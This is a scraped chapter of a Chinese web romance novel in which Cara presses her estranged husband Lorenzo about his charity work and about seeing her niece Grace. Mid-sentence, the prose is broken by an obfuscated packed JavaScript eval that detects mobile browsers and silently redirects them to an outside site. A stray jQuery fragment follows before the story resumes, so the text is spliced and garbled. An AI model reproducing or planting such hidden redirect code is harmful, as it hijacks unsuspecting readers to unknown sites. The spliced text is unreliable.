文趣网 > 都市小说 > 合法占有 > 18. Chapter 18
    “聚会怎么样?”低沉的声音突然从身后传来,把卡拉给吓了一大跳。

    她转过身面对洛伦佐,再一次完全无法理解他的行为,他就像一个幽灵,飘浮在她周围!

    “聚会很棒。”她迅速平复呼吸,声音刻意保持平淡,不愿泄露刚才那一瞬的惊悸。

    “那就好。”他点点头,走到酒柜前,给自己倒了小半杯琥珀色的液体,没有加冰。他倚在柜边,目光落在她身上,从她似乎放松了些的肩线,到她脸上残留的、不易察觉的交谈后的微光,“艾玛她们没有让你不自在吧?”

    “没有。”卡拉摇头,手指无意识地捻着开衫的袖口,“她们都非常友好。”

    一阵短暂的沉默。洛伦佐似乎并不急于结束对话,只是慢慢啜饮着杯中的酒,目光却像无形的探针,温和而持续地停留在她身上。

    卡拉感到那股熟悉的、被他注视时的不自在又悄然地升起。为了打破这沉默,也为了印证心中那个盘旋不去的疑问,她几乎是脱口而出:“她们……提起了你。”

    说完,她顿了顿,迎上他的目光,绿眼睛里带着一丝探究:“她们说起你热衷慈善,说你关心儿童。”

    洛伦佐饮酒的动作微微一顿,杯沿停在唇边。他的眼神几不可察地闪烁了一下,像是有些意外,又像是别的什么情绪迅速掠过。随即,他恢复了平静,将酒杯放下。

    “是吗?”他的声音听不出什么波澜,“那不过是一些……应该做的事,财富积累到一定程度,回馈社会是基本的责任。”

    轻描淡写。仿佛捐赠巨额资金、改变无数孩子的命运,就如同呼吸一样自然,不值一提。这种态度,与他处理商业事务时的精准冷酷,或者对待她时的复杂矛盾,都截然不同。

    卡拉心中的疑团更浓了。

    她向前走了一步。

    “那都是真的?”她的声音很轻,却带着清晰的质疑,“我一直都以为……你或许只对那些数字和合同感兴趣。”

    洛伦佐看着她,深邃的黑眸里映着灯光,也映着她微微紧绷的脸。

    “我确实这么做了。”他终于开口道,声音低沉而平缓,“很难相信我也能像其他人一样善良吗?”

    “这并不难相信。”卡拉不自觉地提高了些声音,以掩饰自己的谎言。

    “只是,为什么……”

    为什么你能对千里之外的陌生孩子如此善良如此慷慨,却对我的小侄女、对我,如此……

    后面的话她咽了回去,但眼神里的困惑与一丝隐隐的控诉,却泄露无疑。

    洛伦佐的目光在她脸上停留了片刻,似乎是看穿了她未尽的诘问,又似乎没有。他放下酒杯,双手插进家居裤的口袋里,姿态看似放松,下颌线却微微绷紧。

    “为什么?”他重复了她的问题,尾音上扬,示意她继续说出她的疑问。

    “没什么。”

    她告诉自己,她不要去问他那种话,在他正全心扮演爱孩子的慈善家时。

    然后,她几乎是下意识地,向前又迈了一小步:“我只是想知道,格蕾丝,我的侄女,她到底过得怎么样?她在哪里?我究竟什么时候才能见见她?就只是见见她罢了。”

    空气骤然凝固。

    他插在口袋里的手似乎握紧了,肩膀的线条也僵硬了一瞬。他看着卡拉,那双总是深不见底的黑眸里,第一次如此清晰地翻滚起无数复杂的情绪。

    他没有立刻回答。

    沉默在蔓延,只有古老的座钟发出规律而沉重的滴答声,每一秒都敲打在卡拉紧绷的神经上。

    半晌,洛伦佐才缓缓地吐出一口气,那口气息里仿佛带着重量。

    “她已经前往一个很安全的地方了,凯特里奥娜。”他最终说道,声音比刚才低沉了些,“我向你保证过,你难道真的以为我会伤害你的家人?”

    “安全的地方又是哪里?”卡拉追问,不肯退让,“她适应吗?她会不会……害怕?她还那么小,她不该承受许多事。”

    她想起上次听见格蕾丝惊恐的哭声,一颗心就像被一只无形的手攥紧。

    洛伦佐的眉头皱了起来。

    “你始终就是不能相信我,是吗?”他问她,声音里透出一丝冷意。

    “我只是想见她。”卡拉坚持,声音因为激动而有些发抖,“她是我的家人,洛伦佐,我有权利知道她究竟过得好不好,我有权利见她。”

    “权利?”洛伦佐重复这个词,向前走了一步,缩短了两人之间的距离。

    “我们现在讨论的是现实,凯特里奥娜,冰冷、残酷、不讲道理的现实,与抽象的权利无关。我只希望你可以明白这点,我不管做什么,都确实是为了你好。”

    “为我好?”卡拉几乎就要苦笑出声,“你控制着我的侄女胁迫我回到这里,然后却无论如何也不让我见到她,这叫为我好?那可真伟大啊。”

    “当时的情况,”他的声音冷了下来,“不允许我们去进行冗长的家庭讨论。帕迪·多尔蒂从来都不懂得安分守己,而我的决定是,我不会眼睁睁看着他咎由自取,看着他的妻女被他连累,我任由他们继续像水蛭一样吸附在我身上。只是,这一切都有一个前提,他那胡作非为的妹妹得依旧是我的妻子,否则,他们这堆烂摊子又跟我有什么关系?至于你,你口口声声关心你的侄女——”

    他停顿了一下,目光锐利如刀。

    “但你一直在哪里?我想你不需要我提醒你,你切断了与过去的所有联系,背叛了我们的婚姻,正开开心心与另一个男人生活在一起。一个无论哪方面都无比平庸的爱尔兰书呆子,你让他碰你——我的妻子。而我,我却无数次以为你是被绑架了,被贩卖了,甚至……甚至是……你认为在那样的情境之下,我又还能如何去冷静宽容地征求你的意见?”

    他的话像一记闷棍,狠狠地敲在了卡拉头上。愤怒和担忧被猝不及防的、尖锐的愧疚刺穿。

    是的,当时她抛下了一切逃跑了。她一步一个脚印,最终停在了一个她曾经梦寐以求的地方,一个阳光明媚、温暖宜人的地方,在那里,黎明总是粉色与玫瑰色交织的柔和色调。

    她时常在清晨光着脚踩在空无一人的海滩上,听着她无比迷恋的海浪声,看着天空一点点变得湛蓝,地平线就像纸上划出的一条线……

    她一次又一次劝说自己,她就只是个姑姑,不是母亲,她根本没有那么多责任要背负。她已经给足了格蕾丝所需要的一切,她早应该放手了。她劝说自己,她真的已经受够了,她实在太累了,因为她该死的家庭,她这辈子还从来没有真正为自己活过一次……

    她彻底地埋葬了“卡拉·多尔蒂”。

    “我……”她张了张嘴,却发现自己无言以对。那股冲上了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17616669|205401||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    头顶的热血冷却下来,只剩下冰冷的、沉重的无力感。

    “其实,如果你恨我,你大可以直接一些。”卡拉道,“这些游戏是毫无必要的,我早就习惯了任由厄运摆布了。你对我怎么样都行,我只希望我们之间的事情可以不必影响到那个孩子。洛伦佐,你关心儿童的,不是吗?”

    她不知道为什么要这么说出这种话。也许是极致的疲惫,也许是被他刚才那番话刺中要害后产生的破罐破摔,也许,就纯粹只是厌倦了对他心意的猜测,厌倦了在这座华丽的迷宫里无望地打转。

    洛伦佐愣住了。

    “我……恨你?”他的声音压得很低,“这就是你思考这么久后得出的结论?你认为我让你回家,费这些周折,通通是在跟你玩游戏,是在报复你?你到底……”

    他欲言又止,语气里没有丝毫她以为会有的愤怒,却有一种更可怕的、深沉的失望和某种类似于痛楚的东西。

    “凯特里奥娜,”他再次唤出了她的名字,“我没那闲工夫跟你玩什么游戏。如果我真的如你所说一般恨你,我不会这么大费周章,而你也根本不会有这个机会天天穿着一些可笑的廉价衣服,跟我大谈什么离婚,并时刻思索应该怎么用你尖利的舌头刺伤我。”

    他的声音充满了挫败感。

    “从始至终,我都只是希望可以把过去抛在脑后,给我们一个全新的开始。我们已经迷失方向太久了,我们应该回到正轨了。”

    卡拉彻底怔住了。

    “全新的开始?”她喃喃出声,声音轻得像梦呓,绿眼睛里充满了前所未有的、纯粹的迷茫,那迷茫甚至暂时冲刷掉了所有的愤怒与恐慌。

    “是的,”他轻声说道,“全新的开始。这是我找到你时心中唯一的想法。”

    可卡拉却摇了摇头:“不,这不……我不明白,你……为什么?”

    这不可能会是真的,如果她的那些猜想真的通通都是错误的,那么,这一切的理由又究竟是为什么呢?

    她继续道:“明明你当年就根本不想和我这种人结婚,是我要求你这么做。两年里,你对待我一直很冷漠,我也知道我确实不配你的姓氏。所以,为什么非要坚持这种婚姻呢?别再告诉我说是因为什么意大利人很传统了,那根本不可能是真的,为什么……”

    她的话语渐渐凌乱,问题一个接一个地蹦出来,却都指向同一个核心的、她始终无法理解的谜团。

    洛伦佐的身体,在她这一连串的“为什么”中,猛地定住了。

    仿佛她的问题并非话语,是烧红了的烙铁,猝不及防地烫伤了他。然后,他几乎是有些狼狈地转过身,大步走向了那扇正对着漆黑庭院的落地窗。

    整个空间里,顿时只剩下了两人粗重不一的呼吸声,以及那几乎要凝成冰的、令人窒息的沉默。

    时间一分一秒过去,每一秒都漫长无比。

    良久,洛伦佐的声音才从窗边传来,比夜色更沉,带着一种疲惫的沙哑:“我想你应该很累了,好好休息。”

    他没有回答她的问题。

    甚至没有再回头看她一眼。

    洛伦佐……

    卡拉在心中喃喃唤着他的名字,想要靠近,想要可以继续将这一切问个清楚明白,却终究还是没有那么做。

    他不会回答的。

    她顺从地静静走向了楼梯。